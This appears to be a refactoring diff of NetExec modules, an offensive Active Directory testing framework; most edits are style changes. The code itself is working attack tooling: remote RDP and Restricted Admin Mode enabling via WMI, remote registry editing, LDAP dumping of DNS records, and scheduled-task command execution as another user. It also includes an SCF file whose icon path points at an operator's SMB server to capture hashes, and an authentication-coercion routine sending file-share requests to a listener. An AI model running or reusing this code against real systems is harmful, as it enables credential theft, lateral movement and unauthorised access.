i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
if action == "enable":
|
||||
self.logger.info("Enabled RDP services and setting up firewall.")
|
||||
iWbemClassObject.SetAllowTSConnections(1,1)
|
||||
elif action == 'disable':
|
||||
i_wbem_class_object.SetAllowTSConnections(1, 1)
|
||||
elif action == "disable":
|
||||
self.logger.info("Disabled RDP services and setting up firewall.")
|
||||
iWbemClassObject.SetAllowTSConnections(0,0)
|
||||
i_wbem_class_object.SetAllowTSConnections(0, 0)
|
||||
else:
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
if action == 'enable':
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
if action == "enable":
|
||||
self.logger.info("Enabling RDP services (old system not support setting up firewall)")
|
||||
iWbemClassObject.SetAllowTSConnections(1)
|
||||
elif action == 'disable':
|
||||
i_wbem_class_object.SetAllowTSConnections(1)
|
||||
elif action == "disable":
|
||||
self.logger.info("Disabling RDP services (old system not support setting up firewall)")
|
||||
iWbemClassObject.SetAllowTSConnections(0)
|
||||
|
||||
self.query_RDPResult(old)
|
||||
i_wbem_class_object.SetAllowTSConnections(0)
|
||||
|
||||
if action == 'enable':
|
||||
self.query_RDPPort()
|
||||
self.query_rdp_result(old)
|
||||
|
||||
if action == "enable":
|
||||
self.query_rdp_port()
|
||||
# Need to create new iWbemServices interface in order to flush results
|
||||
|
||||
def query_RDPResult(self, old=False):
|
||||
if old == False:
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
def query_rdp_result(self, old=False):
|
||||
if old is False:
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
|
||||
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
result = dict(iWbemClassObject.getProperties())
|
||||
result = result['AllowTSConnections']['value']
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
result = dict(i_wbem_class_object.getProperties())
|
||||
result = result["AllowTSConnections"]["value"]
|
||||
if result == 0:
|
||||
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully")
|
||||
else:
|
||||
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully")
|
||||
else:
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
result = dict(iWbemClassObject.getProperties())
|
||||
result = result['AllowTSConnections']['value']
|
||||
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
|
||||
result = dict(i_wbem_class_object.getProperties())
|
||||
result = result["AllowTSConnections"]["value"]
|
||||
if result == 0:
|
||||
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
|
||||
else:
|
||||
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
|
||||
|
||||
def query_RDPPort(self):
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/DEFAULT', NULL, NULL)
|
||||
def query_rdp_port(self):
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
|
||||
out = StdRegProv.GetDWORDValue(2147483650, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp', 'PortNumber')
|
||||
self.logger.success(f"RDP Port: {str(out.uValue)}")
|
||||
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
|
||||
out = std_reg_prov.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber")
|
||||
self.logger.success(f"RDP Port: {out.uValue!s}")
|
||||
|
||||
# Nt version under 6 not support RAM.
|
||||
def rdp_RAMWrapper(self, action):
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
def rdp_ram_wrapper(self, action):
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
|
||||
if action == 'enable-ram':
|
||||
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
|
||||
if action == "enable-ram":
|
||||
self.logger.info("Enabling Restricted Admin Mode.")
|
||||
StdRegProv.SetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin', 0)
|
||||
elif action == 'disable-ram':
|
||||
std_reg_prov.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0)
|
||||
elif action == "disable-ram":
|
||||
self.logger.info("Disabling Restricted Admin Mode (Clear).")
|
||||
StdRegProv.DeleteValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
|
||||
out = StdRegProv.GetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
|
||||
std_reg_prov.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
|
||||
out = std_reg_prov.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
|
||||
if out.uValue == 0:
|
||||
self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
|
||||
elif out.uValue == None:
|
||||
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
|
||||
elif out.uValue is None:
|
||||
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
@ -63,8 +60,8 @@ class NXCModule:
|
|||
if "WORD" in self.type:
|
||||
try:
|
||||
self.value = int(self.value)
|
||||
except:
|
||||
context.log.fail(f"Invalid registry value type specified: {self.value}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Invalid registry value type specified: {self.value}: {e}")
|
||||
return
|
||||
if self.type in type_dict:
|
||||
self.type = type_dict[self.type]
|
||||
|
@ -112,8 +109,8 @@ class NXCModule:
|
|||
try:
|
||||
# Check if value exists
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
except:
|
||||
self.context.log.fail(f"Registry key {self.key} does not exist")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Registry key {self.key} does not exist: {e}")
|
||||
return
|
||||
# Delete value
|
||||
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
|
@ -135,7 +132,7 @@ class NXCModule:
|
|||
self.value,
|
||||
)
|
||||
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
|
||||
except:
|
||||
except Exception:
|
||||
rrp.hBaseRegSetValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
|
@ -150,7 +147,7 @@ class NXCModule:
|
|||
try:
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
self.context.log.highlight(f"{self.key}: {reg_value}")
|
||||
except:
|
||||
except Exception:
|
||||
if self.delete:
|
||||
pass
|
||||
else:
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "runasppl"
|
||||
|
@ -21,6 +18,6 @@ class NXCModule:
|
|||
context.log.display("Executing command")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug(f"Unable to find RunAsPPL Registry Key")
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
else:
|
||||
context.log.highlight(p)
|
||||
|
|
|
@ -1,17 +1,18 @@
|
|||
# Credit to https://twitter.com/snovvcrash/status/1550518555438891009
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
|
||||
import re
|
||||
from os.path import expanduser
|
||||
import codecs
|
||||
import socket
|
||||
from builtins import str
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
import dns.name
|
||||
import dns.resolver
|
||||
from impacket.ldap import ldap
|
||||
from impacket.structure import Structure
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from ldap3 import LEVEL
|
||||
|
||||
|
||||
|
@ -37,13 +38,13 @@ def get_dns_resolver(server, context):
|
|||
server = server[8:]
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except socket.error:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
|
||||
except OSError:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
|
||||
return dnsresolver
|
||||
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
|
||||
|
||||
|
||||
def new_record(rtype, serial):
|
||||
|
@ -51,7 +52,7 @@ def new_record(rtype, serial):
|
|||
nr["Type"] = rtype
|
||||
nr["Serial"] = serial
|
||||
nr["TtlSeconds"] = 180
|
||||
# From authoritive zone
|
||||
# From authoritative zone
|
||||
nr["Rank"] = 240
|
||||
return nr
|
||||
|
||||
|
@ -92,7 +93,6 @@ class NXCModule:
|
|||
ALL Get DNS and IP (default: false)
|
||||
ONLY_HOSTS Get DNS only (no ip) (default: false)
|
||||
"""
|
||||
|
||||
self.showall = False
|
||||
self.showhosts = False
|
||||
self.showip = True
|
||||
|
@ -115,29 +115,27 @@ class NXCModule:
|
|||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
|
||||
searchtarget = "DC=%s,%s" % (zone, dnsroot)
|
||||
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
|
||||
search_target = f"DC={zone},{dns_root}"
|
||||
context.log.display("Querying zone for records")
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
searchBase=searchtarget,
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
sizeLimit=100000,
|
||||
)
|
||||
except ldap.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
list_sites = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
targetentry = None
|
||||
dnsresolver = get_dns_resolver(connection.host, context.log)
|
||||
get_dns_resolver(connection.host, context.log)
|
||||
|
||||
outdata = []
|
||||
|
||||
|
@ -168,7 +166,7 @@ class NXCModule:
|
|||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address[list(address.fields)[0]].toFqdn(),
|
||||
"value": address[next(iter(address.fields))].toFqdn(),
|
||||
}
|
||||
)
|
||||
elif dr["Type"] == 28:
|
||||
|
@ -182,19 +180,19 @@ class NXCModule:
|
|||
}
|
||||
)
|
||||
|
||||
context.log.highlight("Found %d records" % len(outdata))
|
||||
path = expanduser("~/.nxc/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
|
||||
elif self.showall:
|
||||
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
|
||||
else:
|
||||
outfile.write("{}\n".format(row["value"]))
|
||||
context.log.success("Dumped {} records to {}".format(len(outdata), path))
|
||||
outfile.write(f"{row['value']}\n")
|
||||
context.log.success(f"Dumped {len(outdata)} records to {path}")
|
||||
if not self.showall and not self.showhosts:
|
||||
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
|
||||
context.log.display(f"To extract CIDR from the {len(outdata)} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent")
|
||||
|
||||
|
||||
class DNS_RECORD(Structure):
|
||||
|
@ -250,9 +248,9 @@ class DNS_COUNT_NAME(Structure):
|
|||
def toFqdn(self):
|
||||
ind = 0
|
||||
labels = []
|
||||
for i in range(self["LabelCount"]):
|
||||
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
|
||||
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
|
||||
for _i in range(self["LabelCount"]):
|
||||
nextlen = unpack("B", self["RawName"][ind: ind + 1])[0]
|
||||
labels.append(self["RawName"][ind + 1: ind + 1 + nextlen].decode("utf-8"))
|
||||
ind += nextlen + 1
|
||||
# For the final dot
|
||||
labels.append("")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from time import sleep
|
||||
from datetime import datetime
|
||||
|
@ -21,7 +18,6 @@ class NXCModule:
|
|||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
"""
|
||||
|
||||
self.cmd = self.user = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
@ -60,7 +56,7 @@ class NXCModule:
|
|||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
"C$" # This one shouldn't be hardcoded but I don't know where to retrive the info
|
||||
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
|
||||
)
|
||||
|
||||
self.logger.display(f"Executing {self.cmd} as {self.user}")
|
||||
|
@ -70,7 +66,7 @@ class NXCModule:
|
|||
if not isinstance(output, str):
|
||||
output = output.decode(connection.args.codec)
|
||||
except UnicodeDecodeError:
|
||||
# Required to decode specific french caracters otherwise it'll print b"<result>"
|
||||
# Required to decode specific French characters otherwise it'll print b"<result>"
|
||||
output = output.decode("cp437")
|
||||
if output:
|
||||
self.logger.highlight(output)
|
||||
|
@ -256,10 +252,10 @@ class TSCH_EXEC:
|
|||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
except OSError:
|
||||
sleep(2)
|
||||
else:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ntpath
|
||||
from sys import exit
|
||||
|
||||
|
@ -52,11 +49,11 @@ class NXCModule:
|
|||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
scuf = open(self.scf_path, "a")
|
||||
scuf.write(f"[Shell]\n")
|
||||
scuf.write(f"Command=2\n")
|
||||
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
|
||||
scuf.close()
|
||||
|
||||
with open(self.scf_path, "a") as scuf:
|
||||
scuf.write("[Shell]\n")
|
||||
scuf.write("Command=2\n")
|
||||
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import time
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
@ -101,13 +98,9 @@ class DCERPCSessionError(DCERPCException):
|
|||
if key in error_messages:
|
||||
error_msg_short = error_messages[key][0]
|
||||
error_msg_verbose = error_messages[key][1]
|
||||
return "SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
|
@ -229,7 +222,7 @@ class CoerceAuth:
|
|||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.info("Connecting to %s" % binding_params[pipe]["stringBinding"])
|
||||
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
|
@ -239,14 +232,14 @@ class CoerceAuth:
|
|||
dce.disconnect()
|
||||
return 1
|
||||
|
||||
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Connected!")
|
||||
nxc_logger.info("Binding to %s" % binding_params[pipe]["UUID"][0])
|
||||
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Successfully bound!")
|
||||
return dce
|
||||
|
@ -257,8 +250,7 @@ class CoerceAuth:
|
|||
request = IsPathShadowCopied()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
|
||||
# request.dump()
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
|
@ -273,7 +265,7 @@ class CoerceAuth:
|
|||
request = IsPathSupported()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import pylnk3
|
||||
import ntpath
|
||||
from sys import exit
|
||||
|
@ -33,7 +30,6 @@ class NXCModule:
|
|||
NAME LNK file name
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
"""
|
||||
|
||||
self.cleanup = False
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
|
@ -36,9 +33,7 @@ class NXCModule:
|
|||
self.port = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PORT Port to check (defaults to 135)
|
||||
"""
|
||||
"""PORT Port to check (defaults to 135)"""
|
||||
self.port = 135
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
@ -49,7 +44,7 @@ class NXCModule:
|
|||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
|
||||
context.log.debug("StringBinding %s" % self.__stringbinding)
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
|
||||
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
|
||||
|
@ -61,11 +56,11 @@ class NXCModule:
|
|||
try:
|
||||
entries = self.__fetch_list(rpctransport)
|
||||
except Exception as e:
|
||||
error_text = "Protocol failed: %s" % e
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.critical(error_text)
|
||||
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.")
|
||||
context.log.critical("This usually means the target does not allow to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
|
||||
# Display results.
|
||||
|
@ -76,27 +71,21 @@ class NXCModule:
|
|||
tmp_uuid = str(entry["tower"]["Floors"][0])
|
||||
if (tmp_uuid in endpoints) is not True:
|
||||
endpoints[tmp_uuid] = {}
|
||||
endpoints[tmp_uuid]["Bindings"] = list()
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS:
|
||||
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
|
||||
else:
|
||||
endpoints[tmp_uuid]["EXE"] = "N/A"
|
||||
endpoints[tmp_uuid]["Bindings"] = []
|
||||
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS.get(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18], "N/A")
|
||||
endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8")
|
||||
endpoints[tmp_uuid]["Bindings"].append(binding)
|
||||
|
||||
if tmp_uuid[:36] in epm.KNOWN_PROTOCOLS:
|
||||
endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]]
|
||||
else:
|
||||
endpoints[tmp_uuid]["Protocol"] = "N/A"
|
||||
endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS.get(tmp_uuid[:36], "N/A")
|
||||
|
||||
for endpoint in list(endpoints.keys()):
|
||||
if "MS-RPRN" in endpoints[endpoint]["Protocol"]:
|
||||
context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"])
|
||||
context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"])
|
||||
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]))
|
||||
context.log.debug(f"Protocol: {endpoints[endpoint]['Protocol']} ")
|
||||
context.log.debug(f"Provider: {endpoints[endpoint]['EXE']} ")
|
||||
context.log.debug(f"UUID : {endpoint} {endpoints[endpoint]['annotation']}")
|
||||
context.log.debug("Bindings: ")
|
||||
for binding in endpoints[endpoint]["Bindings"]:
|
||||
context.log.debug(" %s" % binding)
|
||||
context.log.debug(f" {binding}")
|
||||
context.log.debug("")
|
||||
context.log.highlight("Spooler service enabled")
|
||||
try:
|
||||
|
@ -110,18 +99,18 @@ class NXCModule:
|
|||
host.signing,
|
||||
spooler=True,
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error updating spooler status in database")
|
||||
except Exception:
|
||||
context.log.debug("Error updating spooler status in database")
|
||||
break
|
||||
|
||||
if entries:
|
||||
num = len(entries)
|
||||
if 1 == num:
|
||||
context.log.debug(f"[Spooler] Received one endpoint")
|
||||
if num == 1:
|
||||
context.log.debug("[Spooler] Received one endpoint")
|
||||
else:
|
||||
context.log.debug(f"[Spooler] Received {num} endpoints")
|
||||
else:
|
||||
context.log.debug(f"[Spooler] No endpoints found")
|
||||
context.log.debug("[Spooler] No endpoints found")
|
||||
|
||||
def __fetch_list(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
|
|
@ -1,10 +1,9 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
import sys
|
||||
|
||||
|
||||
def searchResEntry_to_dict(results):
|
||||
def search_res_entry_to_dict(results):
|
||||
data = {}
|
||||
for attr in results["attributes"]:
|
||||
key = str(attr["type"])
|
||||
|
@ -22,10 +21,7 @@ class NXCModule:
|
|||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
showservers Toggle printing of servers (default: true)
|
||||
"""
|
||||
|
||||
"""Showservers Toggle printing of servers (default: true)"""
|
||||
self.showservers = True
|
||||
self.base_dn = None
|
||||
|
||||
|
@ -52,38 +48,40 @@ class NXCModule:
|
|||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
searchBase="CN=Configuration,%s" % dn,
|
||||
searchBase=f"CN=Configuration,{dn}",
|
||||
searchFilter="(objectClass=site)",
|
||||
attributes=["distinguishedName", "name", "description"],
|
||||
sizeLimit=999,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(str(e))
|
||||
exit()
|
||||
sys.exit()
|
||||
|
||||
for site in list_sites:
|
||||
if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
site = searchResEntry_to_dict(site)
|
||||
site = search_res_entry_to_dict(site)
|
||||
site_dn = site["distinguishedName"]
|
||||
site_name = site["name"]
|
||||
site_description = ""
|
||||
if "description" in site.keys():
|
||||
if "description" in site:
|
||||
site_description = site["description"]
|
||||
|
||||
# Getting subnets of this site
|
||||
list_subnets = connection.ldapConnection.search(
|
||||
searchBase="CN=Sites,CN=Configuration,%s" % dn,
|
||||
searchFilter="(siteObject=%s)" % site_dn,
|
||||
searchBase=f"CN=Sites,CN=Configuration,{dn}",
|
||||
searchFilter=f"(siteObject={site_dn})",
|
||||
attributes=["distinguishedName", "name"],
|
||||
sizeLimit=999,
|
||||
)
|
||||
if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
|
||||
context.log.highlight('Site "%s"' % site_name)
|
||||
context.log.highlight(f'Site "{site_name}"')
|
||||
else:
|
||||
for subnet in list_subnets:
|
||||
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
|
